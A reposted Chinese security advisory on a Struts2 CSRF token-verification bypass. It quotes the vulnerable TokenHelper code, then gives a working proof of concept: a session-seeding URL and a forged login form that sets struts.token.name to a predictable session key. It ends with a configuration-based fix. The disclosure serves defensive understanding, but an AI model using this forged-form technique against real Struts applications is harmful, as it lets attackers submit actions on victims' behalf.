网站地图    收藏   

主页 > 后端 > 网站安全 >

Struts2 Token Verification Bypass(含修复方案) - 网站安全

来源:自学PHP网    时间:2015-04-17 14:11 作者: 阅读:

[导读] 利用Struts的token验证机制,可以通过一些奇淫巧计的手段绕过其验证,使得csrf可以被利用。影响范围:Struts2 all version此漏洞发现者:@Sogili由于Struts提供的token验证是基于用户客户端提交...

利用Struts的token验证机制,可以通过一些奇淫巧计的手段绕过其验证,使得csrf可以被利用。
 
影响范围:Struts2 all version

漏洞发现者:@Sogili
 
由于Struts提供的token验证是基于用户客户端提交的struts.token.name去session中查找对应的值的,如下代码:
public static boolean validToken() {
        String tokenName = getTokenName();
 
        if (tokenName == null) {
            if (LOG.isDebugEnabled()) {
                LOG.debug("no token name found -> Invalid token ");
            }
            return false;
        }
 
        String token = getToken(tokenName);
 
        if (token == null) {
            if (LOG.isDebugEnabled()) {
                LOG.debug("no token found for token name "+tokenName+" -> Invalid token ");
            }
            return false;
        }
 
        Map session = ActionContext.getContext().getSession();
        String sessionToken = (String) session.get(tokenName);
 
        if (!token.equals(sessionToken)) {
            if (LOG.isWarnEnabled()) {
                LOG.warn(LocalizedTextUtil.findText(TokenHelper.class, "struts.internal.invalid.token", ActionContext.getContext().getLocale(), "Form token {0} does not match the session token {1}.", new Object[]{
                        token, sessionToken
                }));
            }
 
            return false;
        }
 
        // remove the token so it won't be used again
        session.remove(tokenName);
 
        return true;
    }
 
 
而tokenName又是来自于用户所提交的参数:
/** www.2cto.com
     * The name of the field which will hold the token name
     */
    public static final String TOKEN_NAME_FIELD = "struts.token.name";
 
    public static String getTokenName() {
        Map params = ActionContext.getContext().getParameters();
 
        if (!params.containsKey(TOKEN_NAME_FIELD)) {
            if (LOG.isWarnEnabled()) {
               LOG.warn("Could not find token name in params.");
            }
 
            return null;
        }
 
        String[] tokenNames = (String[]) params.get(TOKEN_NAME_FIELD);
        String tokenName;
 
        if ((tokenNames == null) || (tokenNames.length < 1)) {
            if (LOG.isWarnEnabled()) {
               LOG.warn("Got a null or empty token name.");
            }
 
            return null;
        }
 
        tokenName = tokenNames[0];
 
        return tokenName;
    }
 
 
因此,只要我们伪造表单,将struts.token.name这个hidden的input值设置为已知的session中某个特定key,即可绕过随机串的token值检查,合法合理的重复提交我们的表单。
漏洞证明:
我们模拟一个场景,一般情况下,一个站点总是会把一些用户信息存放在session中作为cache,以免每次都需要从数据库里取值。
 
这里我用以下代码做了个模拟,直接获取一个nick作为nickname,存放在session中。这些key和value都是可以预知的。
 
import java.util.Map;
import com.opensymphony.xwork2.ActionContext;  
import com.opensymphony.xwork2.ActionSupport;
 
 
public class SessionAction extends ActionSupport  {
  private String nick;
  
  public String execute()  {
 
    //这里操作一下session,加入我们可控的值
    ActionContext actionContext = ActionContext.getContext();
    Map session = actionContext.getSession();
    if(nick != null){
      session.put("nick", nick.trim());
    }
    return "success";
 
  }
 
  public String getNick() {
    System.out.println("getNick");
    return nick;
  }
 
 
  public void setNick(String nick) {
    System.out.println("setNIck");
    this.nick = nick;
  }
 
}
 
 
然后我们访问一下此action,让我们的session中存在一个可以预知的nick值(通常情况下就是用户注册的昵称)。
 
http://www.2cto.com /st/session.action?nick=thisIsFakeToken
 
 
然后,我们再伪造一个表单:
 
<form id="login" name="login" action="http://www.2cto.com /st/login.action" method="post">
<table class="wwFormTable">
    <input type="hidden" name="struts.token.name" value="nick" />
<input type="hidden" name="nick" value="thisIsFakeToken" />
    <tr>
    <td class="tdLabel"><label for="login_username" class="label">用户名:</label></td>
    <td
><input type="text" name="username" value="" id="login_username"/></td>
</tr>
 
    <tr>
    <td class="tdLabel"><label for="login_password" class="label">密  码:</label></td>
    <td
><input type="text" name="password" value="" id="login_password"/></td>
</tr>
 
    <tr>
    <td colspan="2"><div align="right"><input type="submit" id="login_0" value="登录"/>
</div></td>
</tr>
 
  </table></form>
 
 
注意这里的struts.token.name修改为nick,而加了个name=nick的hidden值,为我们开始预知的session中nick所对应的内容:thisIsFakeToken。然后我们再来提交一下看看结果:
 
<img src="http://www.2cto.com /upload/image/201205/2012051019354347566.png" />
 
提交表单,直接绕过了csrf token验证。
 
这里提供我本地做测试的测试项目下载:http://pan.baidu.com/netdisk/singlepublic?fid=174815_3909579610

修复方案:

建议将token.name使用struts.xml进行配置,然后在server端按照配置中的key获取value。


作者 GaRY

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论